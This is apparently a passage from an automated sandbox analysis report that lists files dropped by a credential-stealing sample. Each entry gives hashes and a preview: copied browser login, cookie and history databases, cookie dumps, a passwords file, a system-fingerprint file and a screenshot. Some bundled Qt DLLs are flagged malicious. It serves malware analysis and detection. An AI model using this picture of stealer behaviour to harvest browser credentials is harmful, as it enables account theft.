SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\MJbvJsGGA4woLogin Data For Account

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\fuxaiXC6iMDOWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265064492694324
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMSSAELyKOMq+8yC8F/YfU5m+OlTLVumD:Bq+n0JS9ELyKOMq+8y9/OwY
MD5:	05E37EB785E6287DA9CC44264005CF0D
SHA1:	9C12F0B5314BBA38DE918DE0ED4887717FA91943
SHA-256:	7DBD12E29648ABE8606A76D0D9650F461BB430AB193A5148295BD3AF2E8F83C9
SHA-512:	6A3B64C0E11C3D1AE114F8A6FA980E34166CE4B819A65BC36ECA86D5DC9DE186ABF1DF77AED9C703BE009064F5ABC46921B93E4CF3505BF09A68EC90D3759068
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\ksPCd74RA6ayHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\m7zMnixU4r83History

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\oIKaknopITYBCookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\qiRqy52FHF1rWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265064492694324
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMSSAELyKOMq+8yC8F/YfU5m+OlTLVumD:Bq+n0JS9ELyKOMq+8y9/OwY
MD5:	05E37EB785E6287DA9CC44264005CF0D
SHA1:	9C12F0B5314BBA38DE918DE0ED4887717FA91943
SHA-256:	7DBD12E29648ABE8606A76D0D9650F461BB430AB193A5148295BD3AF2E8F83C9
SHA-512:	6A3B64C0E11C3D1AE114F8A6FA980E34166CE4B819A65BC36ECA86D5DC9DE186ABF1DF77AED9C703BE009064F5ABC46921B93E4CF3505BF09A68EC90D3759068
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\s4wYA3r588JqLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\t824NTaoQ5hDLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixyLYB3bTQWTO7U\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	5.999391385907715
Encrypted:	false
SSDEEP:	12:copYxSlufq7gCx7Fbyr4rOSlTfJJADr6HDsZQZ7gC6:KauS79Gr4iSllJALQZ7c
MD5:	06ED2CD304730F55A5C7001509E128BE
SHA1:	49651485B2CE3D239172BD52BF5A265AB3EB8E18
SHA-256:	66851B5AA77B3DEE71B842F53D4E30F664F5A08F9754B9E87B323871981516A4
SHA-512:	0163A8537DE695D34865EEB9C872F15A1827644D8797344A2D36E776F174E5901E77AA560488B0D7D7359B3648614F818B85A7D51F59CCDF2831B5715F5A9334
Malicious:	false
Reputation:	unknown
Preview:	.google.com.FALSE./.TRUE.1699018815.1P_JAR.ENC893_djEwmUj/dRHWNmfhbTB/w+u3HcpAF49UGcxvovgmz9ye9OQyJO9KCFHkRm8=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=...google.com.TRUE./.TRUE.1712238015.NID.ENC893_djEwFCqquAx+Q1mLxpuZeEBJZSgzAt4Ngo/HHXcYPxMGINXG0MJzCe/y7m5VzpUyfsA6ingOdNobTvWP/YbKYpzg64nmGlCjRU9RpPIjDAuAxGlp5MTMUaOP4iC8aSCuijjqDE5gAdZQ5Jgb0/uEAZ4ssWGDsxXJbqpGbi04viYfPDhBfQ9XKXznqtHW/weYlNZJIGlKZBsCWoEIKfuL56VHKaBt04gLO/XK1/P3nHsp6pSc1x1uk1RRK7hSYUjCY5G/hcpBBjFv74dICDI=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=..

C:\Users\user\AppData\Local\Temp\trixyLYB3bTQWTO7U\History\Firefox_v6zchhhv.default-release.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.9113057226932435
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQVjDSLvIJiMhKVX3L2WdkQVQ:2OLciodFOLciA8dq
MD5:	0CE7E561D96623E70DD177304D3B56DA
SHA1:	27B4131817E71657AED90C086E01E7E925BF641E
SHA-256:	E0B2F92CFB58B7D5EDFBB1FDF3E81194D4E55A90706986C389BDF21D2AD2325D
SHA-512:	48154E76523305BBB7ED39FEAD22CB4DD6FDD568259DC8D0E70ABA4A21030DAF6D1274E0DC5D7F10DFCF7B3B61BD2401FFB4768F301AEF04F142AF23EF335AB5
Malicious:	false
Reputation:	unknown
Preview:	https://www.mozilla.org/privacy/firefox/.1696426831..https://www.mozilla.org/en-US/privacy/firefox/.1696426831..

C:\Users\user\AppData\Local\Temp\trixyLYB3bTQWTO7U\information.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6649
Entropy (8bit):	5.402315317668985
Encrypted:	false
SSDEEP:	96:xzwyORMNWc2KBhA6tsxODsAQdfWiho1RXjuWWANUbg3x:xmOWX6tsxPAQdf5hwuUB
MD5:	DB48D5A1C1A5375BDBAFB27FD6C92EAB
SHA1:	808EDD2554C183DB8D8A2240F43F8ECC2039A769
SHA-256:	02ED9ECFAF2F1D0E0D815B9FF2DCF5C8D0B4BF5DE3C53543DDECD9FDAD8B3D36
SHA-512:	38D8D294DEE75D587AE12373EA4432B1F87D6576B96B28D6616149570770E100D434A207F21D9CACBFBA10513D5099C836AA4A63A1CE5594DF4111FE02E95360
Malicious:	false
Reputation:	unknown
Preview:	Build: default..Version: 2.0....Date: Sat May 25 03:32:09 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 38f9c158435138061e3bd3ff28b1cfa7....Path: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixyLYB3bTQWTO7U....IP: 8.46.123.175..Location: US, New York City..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 549163 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 25/5/2024 3:32:9..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [332]..csrss.exe [420]..wininit.exe [496]..csrss.exe [504]..winlogon.exe [564]..services.exe [632]..lsass.exe [640]..svchost.exe [752]..fontd

C:\Users\user\AppData\Local\Temp\trixyLYB3bTQWTO7U\passwords.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixyLYB3bTQWTO7U\screenshot.png

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	673121
Entropy (8bit):	7.925031553604331
Encrypted:	false
SSDEEP:	12288:vDK0M3lTvUMqFppcFKYMRDAH3/9vCQGMmtUrduf1w0nVQlqDVND:vo1DqFpprBR0X/ElJUZuf112o
MD5:	C564D6AA37DF887FA204D4B7103CFFCE
SHA1:	F893A87A7C8976790EF463EBD9C3767DAD6C4950
SHA-256:	00A03CC664390C22DD03E274900E26BDBC864EC3317A6834EF095F57E56C03D1
SHA-512:	8B626EDC3FDDCB6D09803CA603E286B331546576B97D372E8A5F9DE5DBC88AA47EC46213F06F4BAFDF7E9C956891A32D6EB00641BF50068E26EDB0C434D67C50
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.....G...fVm..uf.L.3..3M......gz.{..h.zh@.{/$...{o......"...........B.!.....q.....2..k.-Q{.gE..}..U[.H....;.c.I...<9..;&....g...H.G/....wXb.t.6w:_....'.Q\|.2U...k.,...g.~.....c..M..;../,....].S...~....g.^.t.\|hNL}Z<2.....!L.>...zh$S...~..v.I....sb.......L-....[.S..wq..=....w..TE..w-....l...]i..w...;.2.^....{..`...L...y....[.~>'..>?.o.i(..So.Y......7...}..Z..8.eo..+.So.q(...z.......z..}.[....u...k..z];.Z.z.z.Ogx.-..t..w.._.:..:-..O......+.)L...2..j8.T..by...9.{.U...AW..\|~.O..L...=......g5.V../......W..U..6.80.q..i.......;xn..W....H._.k...../....}.K...^..9../..-...3.......rb..q.uy...c=.........XC....-.;...zz..cm...%ml.~W....s..k.W..........2N......v.(uw...5..;.V.;.^P...l......H.......?.../...-.-..K>s.....\.....9..\|j....;_....3.0..E.....N......pA....2_.s...b...k.c..w....t.{.W...s;..y.z...n....v.s...q.@n...w.c^...Y.......9%.Z}..EN.

C:\Users\user\AppData\Local\Temp\trixySeAh30EbWLPu\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	5.999391385907715
Encrypted:	false
SSDEEP:	12:copYxSlufq7gCx7Fbyr4rOSlTfJJADr6HDsZQZ7gC6:KauS79Gr4iSllJALQZ7c
MD5:	06ED2CD304730F55A5C7001509E128BE
SHA1:	49651485B2CE3D239172BD52BF5A265AB3EB8E18
SHA-256:	66851B5AA77B3DEE71B842F53D4E30F664F5A08F9754B9E87B323871981516A4
SHA-512:	0163A8537DE695D34865EEB9C872F15A1827644D8797344A2D36E776F174E5901E77AA560488B0D7D7359B3648614F818B85A7D51F59CCDF2831B5715F5A9334
Malicious:	false
Reputation:	unknown
Preview:	.google.com.FALSE./.TRUE.1699018815.1P_JAR.ENC893_djEwmUj/dRHWNmfhbTB/w+u3HcpAF49UGcxvovgmz9ye9OQyJO9KCFHkRm8=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=...google.com.TRUE./.TRUE.1712238015.NID.ENC893_djEwFCqquAx+Q1mLxpuZeEBJZSgzAt4Ngo/HHXcYPxMGINXG0MJzCe/y7m5VzpUyfsA6ingOdNobTvWP/YbKYpzg64nmGlCjRU9RpPIjDAuAxGlp5MTMUaOP4iC8aSCuijjqDE5gAdZQ5Jgb0/uEAZ4ssWGDsxXJbqpGbi04viYfPDhBfQ9XKXznqtHW/weYlNZJIGlKZBsCWoEIKfuL56VHKaBt04gLO/XK1/P3nHsp6pSc1x1uk1RRK7hSYUjCY5G/hcpBBjFv74dICDI=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=..

C:\Users\user\AppData\Local\Temp\trixySeAh30EbWLPu\information.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6844
Entropy (8bit):	5.368829129414601
Encrypted:	false
SSDEEP:	96:xFKrRRMNEc2KBhA6tsxODsAQdflO9Zr5hkQXShPUZxTeANUbg3x:x0OEX6tsxPAQdflMPh9ZFbB
MD5:	EA8D75C507BC4B74E284580477AABDCE
SHA1:	89507445D12238C7F80104EB9B2A09264BC9066A
SHA-256:	3D179B3665691E64EB563B56C077DC86D0C30B8F1A1BA5935E1F890AEAEF105A
SHA-512:	534E937C088CAB02AAAB58DD9CB910992AE9290CA98BC160A5191051BC85D930A1F0C5EF474E547E35CCC80D84A0FC6DE58822253C268A1673DF998A78B991FB
Malicious:	false
Reputation:	unknown
Preview:	Build: fuga..Version: 2.0....Date: Sat May 25 03:31:59 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 38f9c158435138061e3bd3ff28b1cfa7....Path: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixySeAh30EbWLPu....IP: 8.46.123.175..Location: US, New York..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 549163 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 25/5/2024 3:31:59..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [332]..csrss.exe [420]..wininit.exe [496]..csrss.exe [504]..winlogon.exe [564]..services.exe [632]..lsass.exe [640]..svchost.exe [752]..fontdrvhost.

C:\Users\user\AppData\Local\Temp\trixySeAh30EbWLPu\passwords.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\Qt5OpenGL.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	320120
Entropy (8bit):	6.398399631689542
Encrypted:	false
SSDEEP:	6144:bSU6+JAfisltPzYzrIybvaEezwMckNI+STEDv4nk3ad04ZqhKTrg+COv:brAltbYzsOvaWJ
MD5:	DB19F6E0A1BB5DB1C8D87C3FE0891136
SHA1:	3B2DAB478A8268000EF5E4474D52CB71F9EB615E
SHA-256:	7623B596CFD989413FEA2FE355607B029EF8E64067275CBF81863688128738B0
SHA-512:	B328DC6D1ADE3061894BC5C50F437B732190DE3CEA6D2CDC147A9A8193EE73221937FBA24209B66226D5E4B05DFFF5A79DB8B134373D1218605BCBA6EE82A6B3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~@hB:!..:!..:!..3Y..2!...L..8!..aI..8!...L..,!...L..2!...L..9!...O..=!..:!..."...O../!...O..;!...O..;!..:!..;!...O..;!..Rich:!..........................PE..d....lP_.........." .....\...v......$_...................................................`..........................................5...........................,......x.......\|...P...T.......................(....................p..p............................text....[.......\.................. ..`.rdata..."...p...$...`..............@..@.data...8...........................@....pdata...,..........................@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\Qt5Svg.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	331384
Entropy (8bit):	6.387255143196498
Encrypted:	false
SSDEEP:	6144:cOjmvCPMfXfCsXL0hq+SNcFxkqSj1ZBtp:fcC05tp
MD5:	C3424F2D3D26632C341EF2F542AEA36B
SHA1:	30640EBFF046085DBA3BD0877DE8A90886BED945
SHA-256:	FB0BD60A7D0178C62CFD14D53B40AD47E8F68DB68B95C625723CADC1CD3A1A3E
SHA-512:	72D9A32433DA38CFB752A67C5F903F3480871FCBD16DC5999FB970313079652CF7AEB481DA6097879B641A0E76271118C6E82406DD14C9C90C7460BA6A71BDC7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........O...........8...................................W............W.....W.....W.T.....<....W.....Rich...........................PE..d...z.P_.........." .........................................................@....../.....`..................................................*....... ...........1......x....0..8....N..T...................XP..(...PO...............................................text............................... ..`.rdata.............................@..@.data...............................@....pdata...1.......2..................@..@.rsrc........ ......................@..@.reloc..8....0......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\Qt5WinExtras.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	469624
Entropy (8bit):	6.027128925039679
Encrypted:	false
SSDEEP:	6144:g814pr+wMrppkALmug7u7ozC/B4OvCH9UYHeAeBC:u9+wAkAS2j/B4BryC
MD5:	820FFF478DC5F2C2D5F03A5DB9187FBC
SHA1:	BD58AA8596345C837E1743617452EC7D73013F3A
SHA-256:	3DC976E86D64881E0F37A54B5A04E903235E94D858889B1261527F0048CFBC03
SHA-512:	1476919C5C133ACA519B9E9BE2684A85C7E669FA43942204ACDD9EC4A40577F966AD17D30A7EBD3A97A871E71178F0058966410A934822B96F0B2D7120AA43CB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m>W.)_9.)_9.)_9. '../_9..28.+_9..2<.?_9..2=.!_9..2:.*_9.r7=.(_9.r78.%_9..18.,_9.)_8.._9..1<.&_9..19.(_9..1.(_9.)_..(_9..1;.(_9.Rich)_9.........PE..d...G.P_.........." .................................................................[....`.........................................0d...:...................p...K......x.......h....B..T...................8D..(...0C...............0...............................text...t........................... ..`.rdata.......0....... ..............@..@.data..............................@....pdata...K...p...L..................@..@.rsrc...............................@..@.reloc..h...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\Qt5Xml.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	213112
Entropy (8bit):	6.331143352918189
Encrypted:	false
SSDEEP:	3072:V7rtKxzN2HVkkNUq3uUw8SWrBEcsGhLec956+48G+ikgyOzk1kLrTzhvt3GyY:Vr2N253eUw81rBXVevrH+mk12rTlS
MD5:	63D91B407A350DA5CE19B5D79924B1F4
SHA1:	45886A4018B60A5EAB7D4B743F4DF2A9A4318EDC
SHA-256:	22B626313A535C85CE6A097571C53A6E6678A9D4BC5D0DB9F81660ADC7ED366E
SHA-512:	FA06AB2B1AE116BC7AE93EA64D4C258A7149A23C0171C077F0919956101A22A59DD8E3F975C64073319842F01D6183253F637A0EDB514F0C02C9D88B0E65E6CF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u..j...j...j.......j.......j.. ....j.. ....j.. ....j.. ....j..i....j...j...j..i....j..i....j..i...j...j...j..i....j..Rich.j..................PE..d....kP_.........." .........,...............................................`............`..........................................t..._...........@..........t"...*..x....P.......;..T...........................`;...............................................text............................... ..`.rdata..............................@..@.data...............................@....pdata..t".......$..................@..@.rsrc........@....... ..............@..@.reloc.......P.......&..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\QtAVWidgets1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	248680
Entropy (8bit):	4.820760286569876
Encrypted:	false
